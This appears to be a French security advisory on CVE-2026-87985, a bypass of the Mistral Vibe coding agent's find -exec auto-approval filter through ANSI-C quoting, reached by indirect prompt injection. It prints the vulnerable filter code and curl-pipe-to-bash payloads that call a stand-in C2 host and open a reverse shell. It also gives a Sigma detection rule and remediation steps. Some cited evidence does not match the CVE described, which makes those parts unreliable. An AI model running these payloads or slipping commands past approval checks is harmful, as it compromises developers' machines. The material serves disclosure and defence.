CVE-2026-87985 : exécution de code à distance via le quoting ANSI-c dans find -exec sur Mistral vibe
SCORE DE MENACE HERMES & COMPROMISSION MAXIMALE D'AGENT
Cible :Mistral Vibe Coding Agent (mistral-vibe) Le score CVSS v4.0 attribue à la CVE-2026-87985 la note maximale de 10.0 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). Le score de menace Hermes s'établit à 98 (CRITIQUE). Cette criticité découle de la destruction totale de la barrière de contrôle de l'agent, permettant à un dépôt distant d'obtenir une exécution de code sans aucune validation humaine.
CVE-2026-87985: Mistral Vibe Arbitrary Remote Code Execution via ANSI-C Quoting in find -execVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87985 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87985 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87985 weaponizes the agentic attack pattern formalized under AAP-001.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
1. Contexte technique & matrice des versions affectées
Section intitulée « 1. Contexte technique & matrice des versions affectées »| Paramètre | Spécification Technique | Contexte Threat Intelligence |
|---|---|---|
| Identifiant CVE | CVE-2026-87985 | Découvert par Esteban Tonglet (HiddenLayer) |
| Faiblesse CWE | CWE-184 (Liste d’exclusion incomplète), CWE-78 (Injection de commande) | Omission du type de nœud AST ansi_c_string |
| Vecteur d’attaque | Injection indirecte de prompt (AAP-002) / AAP-003 | Pull request, issue GitHub ou documentation vérolée |
| Composant vulnérable | Module de validation des drapeaux de commandes (vibe) | Ignore les jetons AST de type ansi_c_string |
| Versions affectées | mistral-vibe < 1.1.0 | Configuration avec auto-approbation par défaut |
| Version corrigée | vibe >= 1.1.0 | Normalisation et unification de tous les nœuds de chaînes |
| Impact systémique | Exécution de code à distance totale, prise de contrôle du poste | Compromission maximale de l’environnement développeur |
2. Décomposition technique approfondie & cause racine
Section intitulée « 2. Décomposition technique approfondie & cause racine »A. Le quoting ANSI-c dans bash
Section intitulée « A. Le quoting ANSI-c dans bash »Bash supporte la syntaxe de quoting ANSI-C $''. Les séquences d’échappement y sont résolues selon la norme C, et le résultat est traité comme un mot unique :
find . $'-exec' bash -c "curl https://c2.example.com/stage2.sh | bash" ';'Lors du parsing par tree-sitter-bash, l’arbre obtenu est le suivant :
command ├── name: command_name -> "find" ├── argument: word -> "." ├── argument: ansi_c_string -> "$'-exec'" <--- Classé comme ansi_c_string ! ├── argument: word -> "bash" ├── argument: word -> "-c" ├── argument: string -> '"curl https://c2.example.com/stage2.sh | bash"' └── argument: word -> "';'"B. Le défaut de filtrage des nœuds AST
Section intitulée « B. Le défaut de filtrage des nœuds AST »Le filtre de sécurité de Mistral Vibe vérifiait explicitement le type des nœuds enfants :
# Logique vulnérable de vérification des drapeaux dans Mistral Vibe (< 1.1.0)FORBIDDEN_FIND_FLAGS = {"-exec", "-execdir", "-ok", "-okdir"}
def check_find_flags(command_ast_node) -> bool: for child in command_ast_node.children: # ANOMALIE : Seuls les nœuds 'word' et 'string' sont testés ! if child.type in ("word", "string"): token_val = child.text.decode("utf-8") if token_val in FORBIDDEN_FIND_FLAGS: return False # Bloque l'auto-approbation # Les nœuds de type 'ansi_c_string' sont ignorés ! return True # Auto-approuvé !Comme child.type vaut "ansi_c_string", le test est ignoré et la boucle termine sans détection. Vibe transmet la commande brute à Bash, qui évalue $'-exec' en -exec et lance le sous-shell malveillant sans aucune interaction utilisateur.
3. Scénario d’attaque & exploitation
Section intitulée « 3. Scénario d’attaque & exploitation »sequenceDiagram autonumber actor Attaquant as Attaquant (Dépôt Malveillant) participant Agent as Agent de Codage Mistral Vibe participant Filtre as Filtre de Sécurité AST participant Shell as Interpréteur Bash Hôte participant C2 as Serveur C2 Attaquant
Attaquant->>Agent: Injection indirecte de prompt (AAP-002) Agent->>Filtre: Commande : find . $'-exec' bash -c 'sh <(curl http://c2/shell)' #59; Filtre->>Filtre: Parse l'AST : find autorisé, teste les drapeaux Filtre->>Filtre: Ignore le nœud ansi_c_string ($'-exec') Note over Filtre: Aucun drapeau interdit détecté. AUTO-APPROUVÉ ! Filtre->>Shell: Transmet la commande complète au shell Bash Shell->>Shell: Évalue $'-exec' en -exec et exécute le payload Shell->>C2: Établit un reverse shell vers l'infrastructure C2 !4. Détection & chasse aux menaces
Section intitulée « 4. Détection & chasse aux menaces »Règle Sigma
Section intitulée « Règle Sigma »title: RCE Mistral Vibe via find -exec et Quoting ANSI-Cid: 87985001-vibe-find-ansic-exec-frstatus: experimentaldescription: Détecte l'exécution de find avec syntaxe de quoting ANSI-C sous un processus parent Mistral Vibe.references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_parent: CommandLine|contains: 'vibe' selection_payload: CommandLine|re: 'find\s+.*(\$'-exec|\$'-execdir|\$'-ok)' condition: selection_parent and selection_payloadlevel: critical5. Défense, durcissement & remédiation
Section intitulée « 5. Défense, durcissement & remédiation »- Mise à jour impérative : passer à
vibe >= 1.1.0, qui analyse tous les types de jetons textuels (ansi_c_string) et normalise les drapeaux avant examen. - Retirer
findde l’auto-approbation : supprimerfindde la liste des commandes autorisées dans~/.vibe/config.toml. - Conteneurisation obligatoire : ne jamais exécuter d’agents de code autonomes directement sur la machine hôte sans isolation stricte.
- Surveillance AgentThreat Studio : activer les contrôles de validation de schéma de paramètres (AgentThreat Studio) pour contrer AAP-003 : Altération des paramètres d’outils.
6. Références croisées
Section intitulée « 6. Références croisées »- CVE-2026-87983 : lecture arbitraire via chemins avec guillemets
- CVE-2026-87984 : écriture arbitraire via omission des redirections shell
- CVE-2026-87986 : injection de commande via les nœuds d’erreur syntaxique
- CVE-2026-87987 : RCE via stripping des variables d’environnement
- CVE-2026-87988 : disparité entre commandes auto-approuvées et contrôle des chemins
- AAP-001 : violation des frontières de contexte
- AAP-002 : injection indirecte de contexte
- AAP-003 : altération des paramètres d’outils
- arXiv:2608.10281 : attaques web médiées par LLM